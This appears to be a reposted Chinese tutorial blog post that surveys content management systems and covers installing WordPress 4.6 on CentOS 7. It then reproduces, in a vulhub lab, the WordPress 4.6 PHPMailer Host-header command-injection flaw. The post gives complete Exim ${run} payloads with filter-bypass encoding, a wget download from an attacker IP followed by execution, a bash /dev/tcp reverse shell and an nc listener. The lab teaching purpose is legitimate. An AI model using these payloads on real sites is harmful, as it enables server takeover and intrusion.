CMS知识小结及wordpress的安装与漏洞复现

这篇具有很好参考价值的文章主要介绍了CMS知识小结及wordpress的安装与漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


一、内容管理系统(cms)

1.定义

  • CMS是Content Management System的缩写,意为"内容管理系统",是一种帮助用户创建、管理和修改网站内容而无需专业技术知识的软件

内容管理系统是一种位于WEB 前端(Web服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet(外网)网站的信息。

内容管理系(CMS)是一种综合性比较强的软件系统,是指在一个合作模式下,用于管理工作流程的一套制度。内容管理系统可以像中央存储器(central repository)一样,将相关内容集中储存,主要有内容收集、内容管理、内容智能和内容发布等四个功能。目前流行的内容管理系统大多实现了SEO,即搜索面向引擎优化的URL。

2.特色

  • 面向用户友好

CMS系统存在的目的就是为了方便一些对网站编程、脚本代码不熟悉的人,来用一种比较简单的方式来建立、管理、运营自己的网站。CMS的功能并不只限于文本处理,它还可以处理图片、flash动画、声像流、图像甚至电子邮件档案。

  • 更加注重内容

在互联网刚开始的时候,网站都是使用HTML编码方式,采取手动更新页面、手工填充信息,这样非常麻烦。后来慢慢的出现了ASP、PHP、JSP等动态脚本来编写网站,这段时期的网站通过脚本和数据库的交互实现网站数据的传递、方便发布和管理。但这段时期的网站脚本程序的开发,需要很大的成本,正常情况下只有大型网站才会自己开发。而如今,随着CMS程序的出现、发展和开源,任何人都可以使用CMS程序来快速、便捷的创建一个完整的网站。

  • 基本上,CMS 平台负责构建和管理网站的所有技术细节。

简单来说,内容管理系统是一种工具,可以帮助您快速构建网站,而无需从头开始编写所有代码(甚至你可以完全不了解代码)不需要您自己通过系统来创建网页、存储图像和其他功能,而是为您搭建好所有基本的基础设施内容,以便您可以专注于网站中更多面向前方的部分。

3.常见的cms

  • (1)DEDECMS织梦是国内使用人数相当多的内容管理系统,模板以及开发教程很多,非常适合中小型网站制作建设,但现在已不更新,而且安全问题要站长们自己处理。

  • (2)帝国CMS也是老牌的内容管理系统,帝国相比织梦更加的安全可靠,但是使用人数方面就没有使用织梦的多。

  • (3)WordPress国外开发的系统,刚开始用来做博客,现在也被广泛应用在企业或CMS网站制作上面,插件以及模板非常的多,扩展能力强,但是由于是国外开发的,所以后台操作方面等可能刚开始用感觉不习惯。

  • (4)PHPCMS:PHPCMS V9采用OOP(面向对象)方式进行基础运行框架搭建,非常适合二次开发,代码维护,满足所有网站的应用需求。

  • 补充分类

1.企业建站系统:MetInfo(米拓)、蝉知、SiteServer CMS(.net平台)、Oracle甲骨文等;
2.B2C商城系统:商派shopex、ecshop、hishop、xpshop等;
3.门户建站系统:DedeCMS(织梦,PHP+MYSQL)、帝国CMS(PHP+mysql)、PHPCMS、动易、cmstop,dianCMS(易点CMS,.net平台)等;
4.博客系统:wordpress、Z-Blog等;
5.论坛社区:discuz、phpwind、wecenter等;
6.问答系统:Tipask、whatsns等;
7.知识百科系统:HDwiki;
8.B2B门户系统:destoon、B2Bbuilder、友邻B2B等;
9.人才招聘网站系统:骑士CMS、PHP云人才管理系统;
10.房产网站系统:FangCms等;
11.在线教育建站系统:kesion(科汛,ASP)、EduSoho网校;
12.电影网站系统:苹果cms、ctcms、movcms等;
13.小说文学建站系统:JIEQI CMS;
14.政府网站群系统:JEECMS

二、CentOS 7上安装WordPress

1.搭建Wordpress服务器环境需求

  • php 5.2.4 或者更高版本、MySQL 5.0 或者更高版本。
  • mysql -V
  • php -vcmstop漏洞,笔记,安全,web安全,docker
  • 注意安装LAMP服务器(这里我已经安过)
  • LAMP即由linux、apache、mysql、php构成的服务器环境。

2.安装WordPress

  • 首先要做的是去WordPress的下载页面 并下载我们需要的版本的WordPress,我这里为4.6
  • wget https://wordpress.org/wordpress-4.6.zipcmstop漏洞,笔记,安全,web安全,docker
  • 将WordPress归档解压缩到服务器上的文档根目录
  • unzip -q wordpress-4.6.zip -d /var/www/html
  • cp -a * ..(cp -a 此选项通常在复制目录时使用,它保留链接、文件属性,并复制目录下的所有内容)
    cmstop漏洞,笔记,安全,web安全,docker
  • chown -R apache:apache /var/www/html我们需要更改一些文件夹权限
  • mkdir -p /var/www/html/wp-content/uploads我们需要手动创建上传目录
  • chown -R :apache /var/www/html/wp-content/uploads允许Apache Web服务器写入uploads目录。通过将此目录的组所有权分配给您的Web服务器来执行此操作,这将允许Apache创建文件和目录。
    cmstop漏洞,笔记,安全,web安全,docker

3.配置WordPress

  • 将配置WordPress的主配置文件,我们需要配置它的基本参数,以便可以与数据库和用户连接

  • 在wordpress目录下mv wp-config-sample.php wp-config.php
    cmstop漏洞,笔记,安全,web安全,docker

  • 创建配置WordPress数据库

  • mysql -u root -p

  • 建立wordpress数据库

  • create user root1@localhost identified by '123456';创建wordpress数据库账户&&设置密码

  • GRANT ALL PRIVILEGES on wordpress.* to "root1"@"localhost" identified by "123456";授予wordpress数据库账户在wordpress数据库上所需权限

  • flush privileges;刷新数据库缓存
    cmstop漏洞,笔记,安全,web安全,dockercmstop漏洞,笔记,安全,web安全,docker

  • 修改配置文件,以便可以访问数据库

  • 修改前
    cmstop漏洞,笔记,安全,web安全,docker

  • 根据自己需要修改后
    cmstop漏洞,笔记,安全,web安全,docker

  • :wq!保存退出

4.配置WordPress的Apache Web服务器

  • 为WordPress网站创建Apache虚拟主机
  • vim /etc/httpd/conf.d/vhosts.conf
    cmstop漏洞,笔记,安全,web安全,docker
  • 接下来,创建虚拟主机
  • mkdir /etc/httpd/vhosts.d/
  • vim /etc/httpd/vhosts.d/yourdomain.com.conf
    cmstop漏洞,笔记,安全,web安全,docker
  • 添加以下行
<VirtualHost YOUR_SERVER_IP:80>
ServerAdmin webmaster@yourdomain.com
DocumentRoot "/var/www/html/"
ServerName yourdomain.com
ServerAlias www.yourdomain.com
ErrorLog "/var/log/httpd/yourdomain.com-error_log"
CustomLog "/var/log/httpd/yourdomain.com-access_log" combined
 
<Directory "/var/www/html/">
DirectoryIndex index.html index.php
Options FollowSymLinks
AllowOverride All
Require all granted
</Directory>
</VirtualHost>

cmstop漏洞,笔记,安全,web安全,docker

  • 保存并关闭文件,重新启动apache服务以使更改生效

  • systemctl restart httpd
    cmstop漏洞,笔记,安全,web安全,docker

  • 接下来,允许服务器防火墙中的Apache端口
    cmstop漏洞,笔记,安全,web安全,docker

  • 重启相关服务

  • systemctl restart httpd.service

  • systemctl restart mysqld.service

5.访问WordPress

  • 默认情况下,WordPress将在HTTP端口80上可用。
  • http://你的IP地址或域名/wp-admin/ 访问 就进入了word press安装页面了,照着要求填写就行了。
  • http://192.168.8.140/wp-admin/setup-config.php
    cmstop漏洞,笔记,安全,web安全,dockercmstop漏洞,笔记,安全,web安全,docker

三、WordPress<= 4.6命令执行漏洞vulhub复现

1.漏洞原理

主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4(跟邮箱相关的函数)替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。

  • 通俗的讲,就是利用burp suite抓取网站忘记密码通过邮箱或用户名提交获取新密码时的流量包,修改其host值,通过playload攻击载荷来进行文件的注入。
  • payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等,也有人把payloads称 为shellcode。Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。
  • 影响版本:
  • WordPress <= 4.6.0
  • PHPMailer < 5.2.18
  • 环境:使用vulhub的环境,所有要先安装vulhub

2.环境搭建

  • 攻击机:kali(192.168.8.144)

  • 靶机:centos7(192.168.8.148)

  • cd /root/vulhub/vulhub-master/wordpress/pwnscriptum

  • docker-compose up -d以后台的方式运行容器,安装此漏洞环境
    cmstop漏洞,笔记,安全,web安全,dockercmstop漏洞,笔记,安全,web安全,docker

  • http://192.168.8.148:8080/wp-admin/install.php访问地址
    cmstop漏洞,笔记,安全,web安全,dockercmstop漏洞,笔记,安全,web安全,dockercmstop漏洞,笔记,安全,web安全,dockercmstop漏洞,笔记,安全,web安全,docker

  • 漏洞点在忘记密码处,输入用户名admin,点击获取新密码

  • http://192.168.8.148:8080/wp-login.php?action=lostpassword
    cmstop漏洞,笔记,安全,web安全,docker

  • 打开攻击机kali使用burp suite对靶机进行抓包- 打开攻击机kali使用burp suite对靶机进行抓包
    cmstop漏洞,笔记,安全,web安全,dockercmstop漏洞,笔记,安全,web安全,docker

  • 为靶机的火狐浏览器的设置里面设置代理,IP为192.168.8.144,端口号为8080
    cmstop漏洞,笔记,安全,web安全,docker

  • 抓到包后将其发送到repeater模块
    cmstop漏洞,笔记,安全,web安全,dockercmstop漏洞,笔记,安全,web安全,docker

  • 但是由于WordPress以及PHPMailer都会防止攻击者注入空字符,并且host字段值中出现’/'会出现请求错误,所以我们要绕过空格和/

  • 构造payload进行测试,主要是利用对空格和“/”进行以下转换

  • 空格 换为 ${substr{10}{1}{$tod_log}}substr{10}{1}是指取tod_log函数中的第10位,为空格

  • / 换为 ${substr{0}{1}{$spool_directory}}
    cmstop漏洞,笔记,安全,web安全,docker

  • 初始构造的payload(该payload的作用是在/tmp/下创建yhz的文件夹)

  • target(any -froot@localhost -be ${run{/bin/touch /tmp/yhz}} null)

  • 转换之后的payload为

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}yhz}} null)
 
  • 发送拦截的修改过的数据包
    cmstop漏洞,笔记,安全,web安全,dockercmstop漏洞,笔记,安全,web安全,docker

  • 我们需要满足以下要求才能利用此漏洞

注意:
1.执行的命令不能包含一些特殊的字符,例如:,’,"等。
2.该命令将转换为小写字母
3.该命令需要使用绝对路径
4.需要知道一个现有的用户名,这里是admin
  • 然后我们进入靶机环境中查看我们所注入的文件
  • docker ps -a
  • docker exec -it 7465c48aa3d6 /bin/bash
    cmstop漏洞,笔记,安全,web安全,docker
  • 查看/tmp/下创建的yhz文件夹
    cmstop漏洞,笔记,安全,web安全,docker

3.后续利用反弹shell

思路和写入webshell差不多,是先使用curl或wget下载含有执行命令内容的文件,再通过命令执行达到反弹shell的目的
攻击机开启web服务,写反弹shell命令,先用靶机测试一下看看能不能访问,注意关闭防火墙

  • bash -i >&/dev/tcp/192.168.8.144/7777 0>&1#反弹shell命令,ip填的是攻击机的ip,端口随便设置一个不冲突的就行
    cmstop漏洞,笔记,安全,web安全,dockercmstop漏洞,笔记,安全,web安全,dockercmstop漏洞,笔记,安全,web安全,docker
  • 因此可以利用curl和wget远程下载文件,然后执行getshell构造payload进行远程文件下载
  • 上传shell之后,只需执行即可,构造执行shell.txt的payload
  • 构造初始的payload
  • target(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/yy 192.168.8.144/yh1.txt}} null)
  • 转换之后的payload
target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}yy${substr{10}{1}{$tod_log}}192.168.8.144${substr{0}{1}{$spool_directory}}yh1.txt}} null)

cmstop漏洞,笔记,安全,web安全,docker

  • 在靶机环境查看,已经远程下载了的yy文件
    cmstop漏洞,笔记,安全,web安全,docker

  • 上传shell之后,只需执行即可构造执行yyshell.txt的payload

  • target(any -froot@localhost -be ${run{/bin/bash /tmp/yy}} null)

  • 转换之后为

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}yy}} null)

cmstop漏洞,笔记,安全,web安全,docker文章来源地址https://www.toymoban.com/news/detail-617986.html

  • 同时在kali开启监听
  • nc -vlp 7777
    cmstop漏洞,笔记,安全,web安全,docker

到了这里,关于CMS知识小结及wordpress的安装与漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现

    漏洞描述 EmpireCMS(帝国网站管理系统)是一套内容管理系统( CMS ),EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以 实现任意代码执行 ,EmpireCMS7.5版本中的/e/class/moddofun.php文件的 LoadInMod函数 存在安全漏洞,攻击者可利用该漏

    2023年04月13日
    浏览(38)
  • log4j2漏洞CVE-2021-44228复现笔记(纯步骤过程,没有复杂的知识点)

    前言: Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。 2021 年 12 月,在 Apache Log4j2 中发现了一个 0-day 漏洞。Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ld

    2024年02月12日
    浏览(47)
  • [春秋云镜wp]CVE-2022-28060 CVE-2022-26201 Victor CMS v1.0存在sql注入漏洞复现拿flag

     访问题目提示的login.php,登录框登录抓包,保存为2.txt,sqlmap跑起来 时间3分钟左右,自己手动输入Y后回车,跑完根据提示打开文件夹,拿到flag  动下小手来个赞吧~~~  和上面同类型,点击首页上面banner的admin,未授权直接进入,找到如图的注入点   抓包,保存为3.txt,s

    2024年02月11日
    浏览(54)
  • 高等数学重积分知识点笔记小结

    (1)首先知道什么叫曲顶柱体。(这里不多讲,不会百度)。 (2)定义:设f(x,y)是有界闭区域D上的有界函数,将闭区域D任意分成n个小闭区域oi,在每个小区域上取一点f(ai,bi),做乘积f(ai,bi)oi,并作和。如果当各个闭区域的直径中的最大值max趋近于0时,这和的极限总存在,且

    2024年02月05日
    浏览(47)
  • 漏洞笔记--Jira 相关漏洞复现及利用

    Atlassian Jira是企业广泛使用的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。 为了方便省时间,我们可以利用vulhub靶场去启用jira的漏洞环境 拉取vulhub git clone https://github.com/vulhub/vulhub.git cd vulhub-

    2024年02月13日
    浏览(49)
  • 建站用帝国CMS好还是WordPress好

    随着互联网的迅猛发展,内容管理系统(CMS)在网站建设中扮演着越来越重要的角色。在众多CMS中,帝国CMS和WordPress因其强大的功能和广泛的用户基础而备受关注。本文将对这两种CMS进行详细比较,分析它们的优势与不足,以便用户能够根据自身需求做出更明智的选择。 一、帝

    2024年02月21日
    浏览(40)
  • Ubuntu安装部署docker环境+安装部署vulhub靶场环境+漏洞复现

    目录 安装docker环境 安装部署vulhub靶场     指令:docker -v   下载安装pip,等待即可   pip安装成功   安装docker-compose 指令:docker-compose -v   可将老版本的urllib3进行删除 指令: pip uninstall urllib3     安装前直接切换到桌面,默认下载到桌面,这里没有切换,默认下载到了root目

    2024年02月03日
    浏览(47)
  • Kali虚拟机安装docker并配置vulhub漏洞复现环境

    学网络安全有一些漏洞复现的经历会很有用,Vulhub是一个面向大众的开源漏洞靶场,我们可以借助它简单的进行漏洞复现。下面就从安装docker开始分享一下在kali虚拟机上搭建vulhub的过程,涉及搭建过程中遇到的一些问题和解决方法。 要想安装vulhub首先需要docker来给我们提供容

    2024年02月10日
    浏览(57)
  • 探索开源世界:7款引人入胜的殿堂级CMS,从WordPress到strapi

    开源项目这玩意儿, 一想心就躁,看见手就痒 。借着这股劲儿,今天我就给大家带来 7 款称得上 殿堂级的开源 CMS ,它们中有老当益壮的 WordPress(PHP)、国人开发的 Halo(Java)、玩法丰富的 Ghost(JavaScript)、企业级 CMS 的 Django CMS(Python)、星数最多的 strapi(JavaScript) 等等。 下面,我会

    2024年02月09日
    浏览(36)
  • 保护网站安全:学习蓝莲花的安装和使用,复现跨站脚本攻击漏洞及XSS接收平台

     这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。  环境准备 攻击介绍 原理 攻击者通过向目标网站提交包含恶意脚本的请求,然后将该恶意脚本注入到响应页面中,使其他用户在查看包含注入恶意脚本的页面时运行该恶意脚本。 图片来源 使用方法

    2024年02月10日
    浏览(51)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包